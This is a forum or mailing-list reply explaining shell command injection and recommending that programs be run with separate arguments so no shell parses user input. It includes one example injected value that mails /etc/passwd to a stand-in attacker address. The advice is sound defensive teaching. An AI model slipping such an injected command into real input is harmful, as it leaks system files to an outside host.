> The problem is that `` and system() make calls to the shell. He is
> trying to NOT have a call to a shell.Which I don't really see the reason for. I know I spouted off in
another thread about "standing on the shoulders of others", but I do
think it's alright to trust certain types of software. Point being...Calls to a shell -- of your choice -- shouldn't be considered a bad thing.
Calls to a shell are a VERY bad thing if used incorrectly.
Read up on all of the various security problems related to SQL
injection for a reason why someone who understands how a shell works
would want to avoid one.
Here is one example to get you going. Pretend that you have a program
called "tolower" and that program takes in a single argument as a
string. Pretend that this program simply prints the string to stdout,
with all upper case characters converted to lower case.
Now, pretend that you have to implement a routine that takes in a
string (from any input source - pretend it comes from a malicious
user) and passes it to "tolower".
The right answer (because it does not use the shell):
exec("tolower", str)
The wrong answer (because it uses the shell and doesn't escape
anything):
exec("tolower #{str}")
Not only is the first option faster (no shell is invoked), but it is
also safer. Imagine this:
str = "FOO; mail bad@evil.com < /etc/passwd"
What happens? In the first case, that exact string is passed to
"tolower" and "tolower" simply will print:
foo; mail bad@evil.com < /etc/passwd
but NOTHING will be executed that is malicious.
In the second example above, the shell is invoked to parse the
command, and your information is mailed out without your knowledge.
All "tolower" will see is "FOO".
The moral of the story is to avoid subs-hells whenever possible. If
you don't need one, don't use one. Explicitly code defensively to
avoid one. Your code will be faster and more correct and immune to
certain attacks.
-JJ